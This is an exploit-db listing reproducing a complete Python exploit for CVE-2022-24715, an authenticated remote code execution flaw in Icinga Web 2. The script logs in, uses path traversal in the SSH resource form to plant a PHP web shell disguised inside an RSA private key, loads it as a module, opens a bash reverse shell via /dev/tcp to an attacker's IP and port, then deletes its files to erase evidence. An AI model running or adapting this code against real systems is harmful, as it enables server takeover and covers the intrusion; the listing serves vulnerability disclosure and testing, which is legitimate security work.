Icinga Web 2.10 – Authenticated Remote Code Execution

  • 作者: Dante Corona
    日期: 2023-07-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51586/
  • #!/usr/bin/env python3
    
    # Exploit Title: Icinga Web 2.10 - Authenticated Remote Code Execution 
    # Date: 8/07/2023
    # Exploit Author: Dante Corona(Aka. cxdxnt)
    # Software Link: https://github.com/Icinga/icingaweb2
    # Vendor Homepage: https://icinga.com/
    # Software Link: https://github.com/Icinga/icingaweb2
    # Version: <2.8.6, <2.9.6, <2.10
    # Tested on: Icinga Web 2 Version 2.9.2 on Linux
    # CVE: CVE-2022-24715
    # Based on: https://nvd.nist.gov/vuln/detail/CVE-2022-24715
    
    import requests,argparse,re,random,string
    from colorama import Fore,Style
    
    def letter_random():
    letras = string.ascii_lowercase
    character_random = random.choices(letras, k=6)
    return ''.join(character_random)
    
    
    def users_url_password():
    parser = argparse.ArgumentParser(description='Descripción de tu programa.')
    parser.add_argument('-u', '--url',type=str,required=True, help='Insertar la URL http://ip_victima')
    parser.add_argument('-U', '--user',type=str, required=True ,help='Insertar usuario -U user')
    parser.add_argument('-P', '--password',type=str, required=True ,help='Insertar contraseña -P password')
    parser.add_argument('-i', '--ip',type=str,required=True,help='Insertar IP de atacante -i IP')
    parser.add_argument('-p','--port',type=str, required=True,help='Insertar puerto de atacante -p PORT')
    args = parser.parse_args()
    url = args.url
    user = args.user
    password=args.password
    ip_attack = args.ip 
    port_attack = args.port
    
    return url,user,password,ip_attack,port_attack
    
    def login(url,user,password):
    try:
    login_url = url + "/icingaweb2/authentication/login"
    session = requests.Session()
    r = session.get(login_url)
    csrf_regex = re.findall(r'name="CSRFToken" value="([^"]*)"',r.text)[0]
    data_post = {"username":user,
    "password":password,
    "CSRFToken":csrf_regex,
    "formUID":"form_login",
    "btn_submit":"Login"
    }
    response = session.post(login_url,data=data_post)
    if "Welcome to Icinga Web!" in response.text:
    print(f"{Fore.GREEN}[*]{Style.RESET_ALL}Session successfully.")
    r = session.get(login_url)
    else:
    print("[!]Failed to login.")
    exit(1)
    #return session,csrf_regex 
    except requests.exceptions.InvalidURL:
    print(f"{Fore.YELLOW}[!]{Style.RESET_ALL} Error URL :(")
    exit(1)
    return session,csrf_regex
    
    def upload_file(session,url,character_random,csrf_regex):
    webshell = f"""-----BEGIN RSA PRIVATE KEY-----
    MIIBOgIBAAJBAKj34GkxFhD90vcNLYLInFEX6Ppy1tPf9Cnzj4p4WGeKLs1Pt8Qu
    KUpRKfFLfRYC9AIKjbJTWit+CqvjWYzvQwECAwEAAQJAIJLixBy2qpFoS4DSmoEm
    o3qGy0t6z09AIJtH+5OeRV1be+N4cDYJKffGzDa88vQENZiRm0GRq6a+HPGQMd2k
    TQIhAKMSvzIBnni7ot/OSie2TmJLY4SwTQAevXysE2RbFDYdAiEBCUEaRQnMnbp7
    9mxDXDf6AU0cN/RPBjb9qSHDcWZHGzUCIG2Es59z8ugGrDY+pxLQnwfotadxd+Uy
    v/Ow5T0q5gIJAiEAyS4RaI9YG8EWx/2w0T67ZUVAw8eOMB6BIUg0Xcu+3okCIBOs
    /5OiPgoTdSy7bcF9IGpSE8ZgGKzgYQVZeN97YE00
    -----END RSA PRIVATE KEY-----
    <?php system($_REQUEST["%s"]);?>
    """%character_random
    upload_url = url + "/icingaweb2/config/createresource"
    r = session.get(upload_url)
    csrf = re.findall(r'name="CSRFToken" value="([^"]*)"',r.text)[0]
    data_post ={"type":"ssh",
    "name":"shm/"+character_random,
    "user":f"../../../../../../../../../../../dev/shm/{character_random}/run.php",
    "private_key":webshell,
    "formUID":"form_config_resource",
    "CSRFToken":csrf,
    "btn_submit":"Save Changes"
    }
    upload_response = session.post(upload_url,data=data_post)
    check = requests.get(url + f"/icingaweb2/lib/icinga/icinga-php-thirdparty/dev/shm/{character_random}/run.php")
    if check.status_code != 200 :
    print(f"{Fore.YELLOW}[!]{Style.RESET_ALL}Error uploading file. :(")
    exit(1)
    else:
    print(f"{Fore.GREEN}[*]{Style.RESET_ALL}File uploaded successfully.")
    
    def enable_module(session,url,character_random):
    url_module = url+"/icingaweb2/config/general"
    r_module = session.get(url_module)
    csrf_module = re.findall(r'name="CSRFToken" value="([^"]*)"',r_module.text)[0]
    data_post = {"global_show_stacktraces":"0",
     "global_show_stacktraces":"1",
     "global_show_application_state_messages":"0",
     "global_show_application_state_messages":"1",
     "global_module_path":"/dev/shm/",
     "global_config_resource":"icingaweb2",
     "logging_log":"none",
     "themes_default":"Icinga",
     "themes_disabled":"0",
     "authentication_default_domain":"",
     "formUID":"form_config_general",
     "CSRFToken":f"{csrf_module}",
     "btn_submit":"Save Changes"
     }
     
    resul = session.post(url_module,data_post)
    #--------------------------------------------------
    url_enable = url +"/icingaweb2/config/moduleenable"
    r_enable = session.get(url_enable)
    csrf_enable = re.findall(r'name="CSRFToken" value="([^"]*)"',r_enable.text)[0]
    data_enable = {"identifier":f"{character_random}","CSRFToken":f"{csrf_enable}","btn_submit":"btn_submit"}
    resul_enable = session.post(url_enable,data_enable)
    
    
    def reverse_shell(session,url,ip_attack,port_attack,character_random):
    reverse_url = url + "/icingaweb2/dashboard"
    reverse_exe_one = reverse_url + f'?{character_random}=echo+"bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{ip_attack}%2F{port_attack}%200%3E%261"+>+/tmp/{character_random}'
    reverse_exe_two = reverse_url + f"?{character_random}=bash+/tmp/{character_random} &"
    reverse_response_one = session.get(reverse_exe_one)
    try:
    reverse_response_two = session.get(reverse_exe_two, timeout=5)
    except:
    print(f"{Fore.RED}[*]{Style.RESET_ALL}Eliminating evidence")
    
    remove = session.get(reverse_url + f"?{character_random}=rm+/tmp/{character_random}")
    disable_url = url + "/icingaweb2/config/moduledisable"
    r_disable = session.get(disable_url)
    csrf_disable = re.findall(r'name="CSRFToken" value="([^"]*)"',r_disable.text)[0]
    data_disable = {"identifier":f"{character_random}","CSRFToken":csrf_disable,"btn_submit":"btn_submit"}
    response_disable = session.post(disable_url,data=data_disable)
    
    
    
    def disable_module(session,url,character_random):
    url_disable = url + "/icingaweb2/config/moduledisable"
    
    
    
    if __name__ == '__main__':
    character_random = letter_random()
    url,user,password,ip_attack,port_attack = users_url_password()
    session,csrf_regex = login(url,user,password) 
    upload_file(session,url,character_random,csrf_regex)
    enable_module(session,url,character_random)
    reverse_shell(session,url,ip_attack,port_attack,character_random)